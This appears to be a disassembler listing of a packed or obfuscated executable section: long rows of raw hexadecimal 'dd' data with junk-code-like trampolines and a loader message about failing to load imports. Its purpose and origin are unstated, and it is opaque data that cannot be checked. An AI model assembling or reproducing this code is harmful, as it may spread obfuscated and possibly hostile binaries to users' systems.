		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 2EDC874Eh, 7088E181h, 0FF5369Ch, 6AD6BFh, 9FE8B66h
		dd 31F6DB5h, 40858D06h,	6A0609B4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F2DBC350h
		dd 0B0B9665Eh, 0B760506Fh, 613DB7DBh, 60240489h, 41F48060h
		dd 80615851h, 0F86125E7h, 8D89006Ah, 6031E69h, 9533006Ah
		dd 6030441h, 1ACD9D89h,	95FF0603h, 6030CC9h, 51EF8166h
		dd 0D78B6690h, 688E9h, 0FE8B6600h, 0E8h, 0ED815D00h, 609B445h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C0C35545h
		dd 46A6A4FDh, 6AD5164Dh, 458D8B0Ch, 106031Bh, 305C995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 1C646C59h, 0DDD4E703h, 43126823h, 8B60585Dh
		dd 4CB060D6h, 7879B866h, 34816161h, 5D4CB224h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 6762ED2Fh, 8166F22Ch, 0F843EF3h, 95FFCEBFh, 6031FB9h
		dd 158A0Fh, 10E90000h, 3A000000h, 97B82C15h, 3F826910h
		dd 1FF4F5ACh, 8D1F313Ah, 9B33AB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0BBEAB57Ah
		dd 5CE7FB9Ch, 0F781665Ch, 6C7CC31h, 6D676552h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h, 8B0B3B56h
		dd 446C708h, 6C636E6Fh,	20258D2Bh, 46C70603h, 73736108h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0CF10AD2Dh, 8982B582h, 309298Dh,	6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B815C355h, 4236FF46h, 8B66F86Fh,	3A858DD1h
		dd 6A0609B3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 9B35C350h, 0B004CD05h,	0F281781Ah
		dd 1DA6C98Bh, 13E890h, 0EED60000h, 3AAF936Ch, 0AC54B2A1h
		dd 82D82538h, 1F581198h, 5E83Eh, 80FF0000h, 6644681Ah
		dd 5959D98Bh, 90F88A50h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FDC35747h, 0B6660DF9h, 8136C0BAh, 0FCE568E1h
		dd 0BA66561Ah, 0FF5B2573h, 313E195h, 0C00BF806h, 56840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D1102FC3h, 0BD8BD85Bh, 6032999h,	409E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 389F2B33h, 0FC394DEh, 9529F9BFh,	6031C75h
		dd 84CD8068h, 8B6060E8h, 525061CBh, 310FCB8Bh, 28E031B9h
		dd 61585A63h, 0AC240481h, 6A177B33h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 49C1C353h
		dd 0FC33B55Dh, 0BD8B846Eh, 60313FDh, 1FB995FFh,	6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 2238E3C3h, 61E1405Dh, 0B58D1266h, 609B33Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B8C35747h, 9CCF4ABBh
		dd 6C7C2B6h, 36343831h,	0D1816656h, 0F95F11D0h,	370446C7h
		dd 6A31342Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 6CC9C356h, 59FCF4F4h, 0F8769D68h
		dd 846C7h, 0F000000h, 6AD9BFh, 8D7AED80h, 9B33A85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 90F98AF4h, 43FAB966h, 17DFBB50h, 0F905F9Dh, 386h, 5BF85300h
		dd 13E195FFh, 0BF660603h, 0B589D402h, 603280Dh,	840FC00Bh
		dd 3Ah,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah
		dd 12C35141h, 92F0F99h,	8B66486Ah, 280E9D6h, 0AE90000h
		dd 6F000000h, 0BD72B164h, 137EFBF5h, 4E8F933h, 2C000000h
		dd 0E9000001h, 0Fh, 295E258Eh, 2DD16AB8h, 6E04531Ah, 5047413Ch
		dd 0EE8h, 4B727F00h, 0F5ED6889h, 0B3C5FFABh, 665198C2h
		dd 5B1173BBh, 424448Bh,	12E8h, 1E6CEB00h, 1A90C9FBh, 81665E58h
		dd 0D1809CF2h, 0BF4C526Bh, 54EA2446h, 0F008B5Ah, 1B8Bh
		dd 13E800h, 0A0000000h,	9F94CA40h, 0C75106EBh, 0CA117A0Eh
		dd 7D09580Bh, 5F6160A1h, 4244489h, 48F0Fh, 0B9660000h
		dd 6A58416Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1710C356h, 0AF51FEEBh,	0FFC8BF0Fh
		dd 31FB995h, 819D8B06h,	8D060312h, 9B33AB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0DDA338CAh, 0F7EB0E8h, 281h,	0FD18B00h, 38Fh, 0D08B6600h
		dd 694606C7h, 6A656Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 1DC3CCC3h, 1800Fh, 0C7F50000h, 6F6D0446h
		dd 0F3BF636Eh, 0C7569039h, 616C0846h, 6A7373h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0A38A66C3h, 6DBB2177h, 418D8B85h, 0C7060306h, 0C46h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0FF170C3h, 0DE8D017h, 87000000h, 0DD14DA36h
		dd 30C8C9E3h, 98A4BFECh, 0EE950h, 5B100000h, 3A3A8E09h
		dd 0C1A2770Eh, 628EA13Eh, 6A5F59h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 78C35242h, 0C187F9D7h, 6E929h
		dd 374D0000h, 11F76C32h, 8DFE8B66h, 9B33A85h, 3BD58006h
		dd 0FE850h, 0A98B0000h,	0A948819Ch, 466CD383h, 3462C8BBh
		dd 5FD68BE8h, 66240489h, 0FF506DB9h, 313E195h, 0D58D8B06h
		dd 0B060312h, 30840FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8BD9C356h
		dd 0FE9BD29h, 33E90603h, 0BB000000h, 65CB7F85h,	0E9B3D380h
		dd 0FFFFF9DCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0BCC35747h, 7C52FB89h, 0CA81662Ch, 0B58DAB29h
		dd 6037287h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0DCC35343h, 1C7D8D8Bh, 0B80603h, 1000000h, 323F98Dh
		dd 8BE6FF06h, 30201BDh,	8DC18B06h, 9BBF68Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8D89503Ch, 60331D1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 68C35141h, 0CFA4840Fh, 0E59D89D6h, 0C7060305h
		dd 301E185h, 5DA806h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 1285F740h, 0E67FCD8Eh
		dd 1D85BD29h, 8E90603h
		dd 72000000h, 2721AB47h, 0C75EA79Ch, 321BD85h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 8D2A7DC8h, 8B72BFCAh, 830F5071h, 5, 0A9A09BBEh, 8501580Dh
		dd 60313EDh, 51858950h,	5A060301h, 1375B5FFh, 6A0603h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 84E4B2C3h, 0EEB6B2DBh, 8D89530Ch, 6033079h, 9195FF5Ah
		dd 0E8060326h, 0Ch, 0AF7510D3h,	0C93A870Ch, 20F2BDB1h
		dd 1D55B531h, 6A5E0603h, 0B995FF00h, 8B06031Fh,	0AB2CEBC0h
		dd 90A37D43h, 4591AD94h, 4282AA23h, 0BAF0A43h, 60F0194Fh
		dd 0DAFE3269h, 0ABACB5CCh, 0B12FE754h, 8D9C552Bh, 7F78059Ch
		dd 0E9CC93BBh, 2Ah, 2404C7h, 0E8000000h, 0
		dd 38ED815Dh, 8B0609BCh, 89042444h, 3221585h, 0B806h, 8D8D0000h
		dd 6034D1Ch, 54B8E1FFh,	8D000067h, 3136D9Dh, 1434B806h
		dd 85890000h, 6030429h,	0E8h, 0D055800h, 89000000h, 1434E903h
		dd 50Dh	dup(0)
		dd 3BE90000h, 60000000h, 2F41BD8Bh, 0EF830603h,	8BC93304h
		dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh
		dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h
		dd 0FFFFFFD3h, 0C88BC361h, 0A3E9h, 0BF40D300h, 32B74429h
		dd 9C25CB5Eh, 6C9165C8h, 0FF049578h, 8EDC1BE9h,	398CC0E9h
		dd 0AD305459h, 0D3A62ACFh, 8CD5BB3Ch, 20A53E0Ah, 691B7105h
		dd 45422A8Ah, 0D5830B5h, 3AA926A6h, 813FAD52h, 0E6E50EECh
		dd 0EEFBED12h, 5A2A3A12h, 0E283ABD6h, 3C0CE811h, 7750E287h
		dd 939CD70Ch, 7C015C77h, 3437750h, 0F2000000h, 472A8003h
		dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
		dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 609D0F9h
		dd 0F9ABD4E9h, 3BAEA4FFh, 5E1E9963h, 591EDECh, 9D187B8h
		dd 0E8C50306h, 5, 9974702Fh, 0AE949h, 0F63C0000h, 0D487162Fh
		dd 0FBCB253Dh, 0FFB70F5Eh, 5D9AC681h, 35680000h, 0F000017h
		dd 89h,	0FE95B00h, 53000000h, 11992CA4h, 3291106Fh, 3C5E6EB6h
		dd 0E8BBD51h, 7E9h, 929F8500h, 8289D57Fh, 4868C181h, 0D18B0AEAh
		dd 0E091E981h, 8B00319h, 367AF181h, 890F1694h, 2, 0F51C18Bh
		dd 68FC2B7h, 3840Fh, 0E6800000h, 0EAEE81DEh, 8A460638h
		dd 0E6C681D0h, 0E9460638h, 13h,	936BA091h, 647E7BCh, 1B0F4575h
		dd 63FA0301h, 4BD03E0Eh, 17850Fh, 0F2810000h, 332EC281h
		dd 19E9h, 0E3DDF00h, 162CFF0h, 20A6A684h, 0FF7CE964h, 65A2FFFFh
		dd 0E49AD743h, 4EB13ECh, 5F156B4Bh, 0D6CE9h, 0D45C6800h
		dd 0DEE90609h, 68FFF9AAh, 609D556h, 0F9AAD4E9h,	0D63D68FFh
		dd 0CAE90609h, 68FFF9AAh, 609D70Dh, 0F9AAC0E9h,	0DA7D68FFh
		dd 0B6E90609h, 68FFF9AAh, 609DD67h, 0F9AAACE9h,	0DE7568FFh
		dd 0A2E90609h, 0E9FFF9AAh, 12E7E50Ah, 81147881h, 3386CAEFh
		dd 0A3365A5Bh, 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh
		dd 0E106E97Ch, 74D4D2E3h, 71051EDBh, 2ADC9F21h,	0CB14445h
		dd 0D54EDA5Ch, 2B770EF0h, 24AD1BCh, 9F24F194h, 0C7812AC8h
		dd 0B1432682h, 94B46E08h, 770EF0FBh, 4A1E9A41h,	525739CCh
		dd 66D1AF3Ah, 45E59D1Bh, 75120CD3h, 11967A49h, 7719EC8Ah
		dd 757E1F72h, 92FA7613h, 0BC4CD4Ah, 0B1E55B71h,	6A229DA7h
		dd 0FC4C0693h, 710BCC63h, 0A4B632D9h, 20h, 6785F0D7h, 0D0DFF4Bh
		dd 54037512h, 0C46FEC34h, 87BD710Bh, 263F4553h,	738936Ah
		dd 0BB000000h, 8E25Ah, 432AD900h, 4CDCB45Ah, 770EF0D3h
		dd 48D7A229h, 0D5DABD00h, 6F8DF8B7h, 21F753h, 0C89F7512h
		dd 0E0DB7880h, 0EB29710Bh, 3DABB1A7h, 34A4936Ah, 0D7000000h
		dd 4B6785F0h, 11FF4DFFh, 7414C375h, 0BDF2FACh, 833DFD71h
		dd 0BDF2EA7h, 69C79271h, 0D170155h, 96936A41h, 906122F7h
		dd 99CC9C6Bh, 0C93923h,	1BA0000h, 8D6B8C6Ch, 0F89015F8h
		dd 437F8415h, 0A12BD0A2h, 5D204824h, 0E87D35BAh, 7E173305h
		dd 0C2770EF0h, 5C2C8817h, 0CB991EF1h, 0EF54623h, 0D6D7BE77h
		dd 0A7482FB2h, 0F9F78225h, 9C811EC1h, 959DD2E2h, 5FC9611Fh
		dd 0DD75119Bh, 0FB9D700Eh, 59167AF6h, 52F6B02Eh, 6F093024h
		dd 0F1ABC792h, 82FC059h, 0D3A93C77h, 9A1FF095h,	658E63F6h
		dd 0D94BD04Ah, 0EC6109E6h, 0AEFh, 4E02A376h, 0F3911AFBh
		dd 6D63886Eh, 9DF3F498h, 0E426708h, 4C2D79A4h, 0BC5C21A7h
		dd 32C0553Bh, 9F76DB89h, 6F2B4A1Eh, 51C42DBh, 6D0EBE71h
		dd 2BC452Ah, 93699263h,	62836AFFh, 41EFB06Eh, 73B9A04Ch
		dd 39D27630h, 87770E23h, 0F0DF54D0h, 884B6785h,	990940B8h
		dd 0A1462A33h, 0C2E3B7DAh, 6E002866h, 0EC7511D7h, 82CAEF81h
		dd 0C81078C7h, 710BB74Bh, 0FDEF14E5h, 13757E10h, 0B6005468h
		dd 0BED31EFh, 936A18F1h, 0CCEEh, 432A0900h, 0B2472AA2h
		dd 0BAB75F09h, 0CA770EF5h, 50CE8223h, 0CA4D6B8Fh, 61DF19ACh
		dd 0B397690Ch, 770EEF1Ah, 6464F366h, 0FCBA3843h, 67618669h
		dd 0EC88662h, 0EE5BF454h, 3AA1770Eh, 46EBEh, 0A35D7512h
		dd 0BDC0E87h, 9E77271h,	802FBD28h, 6FBBF7F5h, 6F097772h
		dd 8E5F1BCEh, 398CC0E9h, 10105358h, 0DDE6D932h,	9F5D00Dh
		dd 9D7C0000h, 14E17418h, 8214F9EFh, 0EE866B79h,	61369BC9h
		dd 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh,	7014997Ch
		dd 48C16921h, 0B471051Bh, 452A6704h, 0DD9C8276h, 10E3B439h
		dd 98CC5B2Ah, 255D6235h, 0B46DF6Bh, 2FBA770Eh, 0C1EB793h
		dd 0F762770Eh, 0F1AB1579h, 0E0BC059h, 0D3A93C77h, 0E3470150h
		dd 770EF06Ah, 0C0A503D6h, 189D702Dh, 9F76DB8Dh,	0FBED12E6h
		dd 3C4D03EEh, 0CAAD575h, 900D672h, 0D3BE7512h, 452BBE3Fh
		dd 0B29AD1BCh, 0D7C8F2C2h, 29415F2Ah, 0F1F69E6Fh, 5676F297h
		dd 0C54BEA70h, 0C25BEFA9h, 3ECD49B9h, 525724ABh, 6068FFD6h
		dd 0B2463C47h, 0A30E5B0Dh, 6E8F6607h, 4B1AD492h, 1D4800A9h
		dd 0A75687A7h, 1FCACB47h, 0CAEB8263h, 0A4751886h, 29CCA11Fh
		dd 0CE1DED84h, 2EBE491Ch, 90E33h, 63841700h, 0F6FB986Dh
		dd 40690F92h, 0D0D5B90Ch, 0A34829BCh, 0C298472Dh, 7DC0842Dh
		dd 0E174189Dh, 17FAEE13h, 48697F80h, 1A61FA4Eh,	2DDF7105h
		dd 0A2432A4Eh, 0FC996C2Ah, 74F095F7h, 8422C0CBh, 9F3810CAh
		dd 7A770EF0h, 0EF035AEh, 0C5DC8B77h, 4CB29A16h,	2A7511FAh
		dd 906203BFh, 0E18C4F6Bh, 816F42B0h, 0CB5E328Eh, 4EC88029h
		dd 0DA255F8Dh, 0FE5A742h, 0B90A63Fh, 0A0761371h, 0EBA5710Bh
		dd 0B80C65Fh, 54CD5D71h, 0A8710B80h, 0F977E23Dh, 0DA5434Eh
		dd 0BE828053h, 2E998DE3h, 5CBC7A52h, 0EF7A6F0Eh, 983119D3h
		dd 0E4770E5Eh, 0E93FB71h, 0DE078C67h, 7AE9D760h, 687D6F94h
		dd 79F7FC9Dh, 0CF16A410h, 67B34160h, 4820E6DFh,	83E95h
		dd 53542700h, 26CBA83Dh, 0B039DFA2h, 0A549DCh, 9318F94Ch
		dd 92C877FDh, 0D90F4FDh, 0B104486Dh, 278ADEE3h,	9839AF50h
		dd 19910A1Eh, 5DEF7105h, 8C6C019Eh, 8864616Bh, 1856543Fh
		dd 11EF7230h, 0FEDC075h, 0E04D1FEAh, 17FAEE13h,	8B457D86h
		dd 0BEF26BFh, 71CF9A71h, 48266E19h, 0CEB9D628h,	0D492796Eh
		dd 6A74B1Ah, 1CD182AAh,	984F710Bh, 65A98BF0h, 63FC4C06h
		dd 0D9710B1Ch, 34BD5F32h, 0D6BB3154h, 28BC45h, 710B1C83h
		dd 0E1991F67h, 0A4EC7427h, 753DEA05h, 1B4E1EA3h, 0BD56F28Ch
		dd 3710AF2h, 2BF0D854h,	89710AF2h, 1BEAA4C2h, 0C35C4C75h
		dd 75710AF2h, 194C1CA1h, 20C9AB06h, 0DA563DA8h,	0A95223B6h
		dd 1A9F7C11h, 3126CE9Eh, 45710AF3h, 92633B6Fh, 0D9BC5169h
		dd 0A13458D4h, 0D9932FD4h, 0AF2D871h, 3BB12471h, 0F33E8B53h
		dd 0A276710Ah, 15E64B1Dh, 9116F9ECh, 9FC37FF7h,	22764E3Fh
		dd 62668B68h, 0C1713D45h, 37DE20E8h, 58F08E15h,	710BE4BAh
		dd 4215AD38h, 0BE2932B8h, 0DBB30992h, 0DDE6885Dh, 88A0DE8Bh
		dd 710B840Fh, 2A02FE6Dh, 1D6C67C4h, 0FEFA2E12h,	270B44E6h
		dd 191E1h, 5E011200h, 1A0AB5A9h, 68D7ADB2h, 47E39F1Dh
		dd 7511BE65h, 93720CDBh, 95FBFCh, 9600486Dh, 937A23F7h
		dd 1298712h, 0EE4A22A6h, 731246FAh, 3F9FE92h, 4866876Eh
		dd 2821BA8Eh, 29FF5C9h,	2856F8DDh, 8E47383h, 0F9FE9164h
		dd 8B0D8EFh, 981DF144h,	658A6DF0h, 2FB9267h, 0EAE2496Eh
		dd 44267742h, 17D189A7h, 3F259A33h, 0F573E683h,	32C59DC1h
		dd 0A34ADF8Dh, 0FDEF14FAh, 0AB651DE8h, 3F26069Fh, 11EF7A83h
		dd 21CBF79h, 0F09D6375h, 1428B314h, 94630258h, 0C1E7AF18h
		dd 0C25BEFA9h, 3E833EF3h, 0D993CDABh, 0E75D6634h, 3EF34EC7h
		dd 0A127B283h, 0D6B63BDCh, 0B3CFE991h, 3EF3F297h, 0D2762983h
		dd 733B3FD5h, 0AE3D1490h, 3FC0573Ah, 0E861C983h, 54833FC6h
		dd 0FE432B81h, 0F3F89019h, 44FE6DB1h, 3FC66BE4h, 0AE0AD183h
		dd 0DDB334DBh, 881A963h, 38833FC7h, 0EA715055h,	0E0E811E7h
		dd 937A0FE5h, 2BC7A12h,	3FC6AD26h, 0E8441383h, 0F9B1375Fh
		dd 3FC6B051h, 0B590C83h, 41D6CFA6h, 0B2725172h,	0E14C26EDh
		dd 0DEF721Ah, 0CEF6E4E4h, 721AEB9Ah, 0F24E1B4Dh, 91F7F89Fh
		dd 44DD6D27h, 0B8833F14h, 5B32572Dh, 1428A189h,	0C194833Fh
		dd 2D55127Ah, 6235EF8Bh, 0C4809663h, 0ECCAEF34h, 0F744D509h
		dd 8C3911EFh, 8833F0Ah,	0AD40255Dh, 75D8AC08h, 0CC4A02A7h
		dd 16BFAF0Bh, 279D9FFAh, 0AEC8F098h, 3F84F19Ah,	97650883h
		dd 28BF9612h, 432A3FA4h, 0F6812EA2h, 0FC6ABEF8h, 3A75120Dh
		dd 0A17213AFh, 0E0E80DE0h, 1B4E1EE5h, 4429E39Dh, 8227F4B1h
		dd 0B4309FCAh, 2ABE43D1h, 720AAB6Ch, 0D3F8986Bh, 0A1623055h
		dd 2BBE2ED3h, 107B0C5Ch, 6CAE4D58h, 6D54658Eh, 1EA3741Ah
		dd 218C1B4Eh, 0F85BA189h, 32D96F0Eh, 0E4B4A374h, 0B3D718FDh
		dd 108D5535h, 0FA770EB1h, 0B459118Fh, 2866C2E7h, 0F6F79F6Eh
		dd 0AF94527Ah, 0A0457511h, 70512FD0h, 6235E3E5h, 9BC7377h
		dd 4F2DA096h, 0D4BBCEAAh, 0E3F290D3h, 0EF7FE0DCh, 4CE72h
		dd 23C45700h, 0B63BD8ADh, 0A94FD2h, 9015F94Ch, 638869FCh
		dd 258876Dh, 0BD00446Dh, 21B4D8DDh, 573AAE53h, 8A93FC0h
		dd 1621BA8Eh, 0ED9F7105h, 6785F00Eh, 0FAD1FF4Bh, 45287511h
		dd 9EB70DB2h, 0DB7981CBh, 29710BD2h, 0ABB1A7EBh, 0A4936A2Fh
		dd 0DFh, 8E6C01D7h, 6EF5FA9Dh, 0EFEDBA92h, 10E7770Eh, 1DE8FDEFh
		dd 9B1CF356h, 8BC3CDFh,	3DA7BAA5h, 0FA842347h, 487102h
		dd 841D2D45h, 0F8770E57h, 37E8866Dh, 6F1BC08Ah,	0C6621CC7h
		dd 770EB44Dh, 0E4824B3h, 0EB4993Ah, 0D68A1777h,	4D4B5BB8h
		dd 0EE7315E0h, 17C8E607h, 5231C0D0h, 6B7FF561h,	0B738D8ADh
		dd 8B34B0D5h, 0DC7E301h, 77119A78h, 15B69612h, 0C770E15h
		dd 145DF652h, 0CCA3770Eh, 81C48429h, 0F067BE3Ah, 0A5623598h
		dd 0A74828D5h, 0B3D5A025h, 6A054BD6h, 42E68020h, 770E14A5h
		dd 5B2A4413h, 0D5B533B4h, 923EB063h, 84B06F5Fh,	65830028h
		dd 595B770Eh, 0DFB75635h, 0ABD562DEh, 6FBB750Dh, 770EE5F6h
		dd 67219F4Ah, 0EE526C3h, 8310F577h, 34A3827Eh, 0B1BD50h
		dd 1C00000h, 916A2B5Eh,	0E5F20B9h, 0A8C99C77h, 0AD0B8FA0h
		dd 41797702h, 11824BE9h, 6A62E975h, 9EF2F387h, 4BDFAAD1h
		dd 710B84D2h, 0C1E6BB2Eh, 9A6E2250h, 0A14462C9h, 29BC2CD1h
		dd 0B85B1553h, 0E34EAADDh, 9EAE0A33h, 710B04F9h, 15C6E077h
		dd 75B2FC57h, 8E9AD4C4h, 710B3215h, 6800FC6Bh, 0D29AD0C0h
		dd 0DE023EA5h, 710DC2DAh, 41BD9Fh, 0F03E0000h, 0E3476389h
		dd 770EF06Ah, 0E44903D6h, 0B2FD9314h, 0B5952DCBh, 770EF148h
		dd 7127A134h, 0F0FA93B7h, 9346770Eh, 0B0983515h, 764E770Eh
		dd 0D0A24322h, 9BE24D2Bh, 78C5651Dh, 0E4770EB0h, 2A601371h
		dd 472AA243h, 2E590FB0h, 1D2D4563h, 75120047h, 0EC65C5C5h
		dd 50710BE0h, 86AE3E85h, 710BE109h, 0E3F51907h,	936A3DD9h
		dd 4396h, 85F02100h, 0D8BA4B67h, 0F1B55D3h, 7511FF7Dh
		dd 0B26464F3h, 0AD4D3ED3h, 0E7C7BD08h, 710BDF6Ah, 8D6D00A6h
		dd 0CEADA5A2h, 1FEAF043h, 6F499DA1h, 9369C755h,	0F212h
		dd 9AAE6800h, 710B6A01h, 970CE87Fh, 2AA2432Ah, 7109B247h
		dd 0F0FA93B7h, 4046770Eh, 0EF06FE8h, 0B31ECD77h, 25C85535h
		dd 9265C880h, 7A82556Dh, 0D021F71Bh, 0B25A2E8Ah, 770E4AB5h
		dd 394D28CFh, 3B32B866h, 40FE9279h, 52F6CAADh, 770EEEB9h
		dd 6FC55007h, 0E68A731Ah, 0A4127AC1h, 318F34C1h, 0C5FDFB86h
		dd 120C5765h, 0AEEC575h, 1BE6E3E5h, 0E108CB75h,	0F7D4427Fh
		dd 632E9917h, 0B9732D45h, 0B80F891h, 1B914471h,	9311E33h
		dd 334F1A6Fh, 5034BD52h, 0EC872CCDh, 0E6D94A04h, 0E4DC31D9h
		dd 4D000001h, 0F65B09AEh, 65C89C25h, 977A6E93h,	7EAFEFFh
		dd 0A91B4972h, 5257386Eh, 26C7AB3Eh, 0B43DDFA2h, 5AA4DD0h
		dd 0D0783E47h, 71051337h, 2A70F385h, 4528BC45h,	823DDEB2h
		dd 0C446EF73h, 0B9A23B6Dh, 4B1E770Eh, 4C23C2FCh, 535424ABh
		dd 1C2B1D5h, 8A668B6Ch,	1A54523Dh, 11FF7C0Eh, 6567F275h
		dd 0BDF40DDh, 981DF071h, 6B906DF0h, 5084B861h, 3D61DFE6h
		dd 6A41213Bh, 0DCDE93h,	2A590000h, 472AA243h, 0B75F09B2h
		dd 770EF5BAh, 0CE8223CAh, 6EB947Bh, 317616FDh, 2EF06246h
		dd 33446D03h, 21A49707h, 0A4C2A94Eh, 7BF92AF3h,	0A71D87AEh
		dd 963341E9h, 0C2A17511h, 33C58831h, 3C8BDE8Eh,	8E741FA8h
		dd 0C085C7ECh, 0B222D3BFh, 590A549h, 0FE97B36Dh, 42710B92h
		dd 0CB5F1997h, 6F092DB5h, 7B0AA433h, 0C17F6D96h, 25A7482Ch
		dd 0A54A2DA0h, 0A7CAA623h, 6C44D1D2h, 7FD43DCh,	47D2B977h
		dd 7919B9F8h, 0D2BAE6D9h, 0D63Fh, 3BBC5F00h, 8E33C055h
		dd 18A177DAh, 0E80DE174h, 7B8011E4h, 0A609F15h,	0A5085C65h
		dd 29BCD0D5h, 5F22A64Bh, 5137B8h, 1229A286h, 0E5977105h
		dd 0BC452A06h, 67E04802h, 0D5770EF0h, 73C6AA06h, 0CB751B9Ch
		dd 3953583Ah, 525739ACh, 47015DD6h, 0EF06AE3h, 4C03D677h
		dd 0DAAF05AEh, 77DAB233h, 0B0631FA0h, 0C1A5BFC4h, 0FA8E6A04h
		dd 8A24C2CDh, 993216D0h, 0E7770DFAh, 4BD4F470h,	96750748h
		dd 0CCD34CDCh, 95657105h, 326D7810h, 7DE8C9A7h,	36EF866Bh
		dd 5B0E5E5Fh, 623598CCh, 4DE30B5Dh, 0A347EA41h,	6E01598Dh
		dd 0DFB61B49h, 2ACDA0DEh, 9D7EC385h, 59F18914h,	17F941C0h
		dd 0BBD3A93Ch, 2FB93ED6h, 24488A4h, 0B3064A6Bh,	5CB1DBDCh
		dd 3, 2A8003E7h, 5B26A647h, 0F45933B4h,	66CB9D26h, 967B6D92h
		dd 0D90F801h, 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68241489h, 0DCAh
		dd 50241C89h, 405E089h,	83000000h, 48704E8h, 34895C24h
		dd 0D2C36824h, 1C8B0609h, 4C48324h, 6D0368h, 24248900h
		dd 4240483h, 8B8505Eh, 1000000h, 0B951F0h, 1000000h, 591989C1h
		dd 2434FF58h, 4C4815Eh,	0FF000000h, 815B2434h, 4C4h, 9D83E900h
		dd 0C616FFF9h, 5534F5ECh, 0DF70B82Fh, 0C5030609h, 318FE0FFh
		dd 0EC6A5A70h, 0E9DE4C16h, 45562CE1h, 344F7053h, 7CBA45D8h
		dd 183F66A6h, 0C2541E3Fh, 0EE5B2B83h, 177D1A21h, 5BCB6721h
		dd 89335EA2h, 0C83A1AC3h, 4AED7DDDh, 5FBF56A2h,	697F13E5h
		dd 0AEF8219Ah, 6A4B6215h, 251F5582h, 0FDCB0ED4h, 2F957453h
		dd 0FC2469D1h, 0AA8F4AA2h, 0B7312DB2h, 27E955A9h, 50000001h
		dd 0AC73765Bh, 154EEFh,	41000000h, 7245206Eh, 20726F72h
		dd 20736168h, 7275636Fh, 20646572h, 6C696877h, 6F6C2065h
		dd 6E696461h, 6D692067h, 74726F70h, 0AC370073h,	5CEB77E7h
		dd 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 761B8F96h
		dd 13113416h, 7B35B11Ch, 66423104h, 35722B61h, 77A9F29Eh
		dd 0EF883211h, 65534790h, 0F7BFBF13h, 991737A5h, 0E5D069C6h
		dd 65552FA8h, 71563213h, 77A96145h, 0EF883211h,	65534790h
		dd 0E6BFBF13h, 991737B8h, 0EDD069C6h, 0C0F9B1D5h, 66243BF5h
		dd 6601B61Ah, 0E3053215h, 604D9E99h, 0E3AFE2EAh, 60189EA9h
		dd 0E34EE2EAh, 60471D2Ch, 0DE705A43h, 0D3EEAEBDh, 608B1ADCh
		dd 15F8B798h, 0B6DD3413h, 6904B79Ch, 0E3053416h, 604DD363h
		dd 31A7BF45h, 36173BF5h, 6519A7EAh, 0E3833416h,	60213074h
		dd 66113215h, 49B1B7D3h, 0E013416h, 0E8505B7Ch,	754887EAh
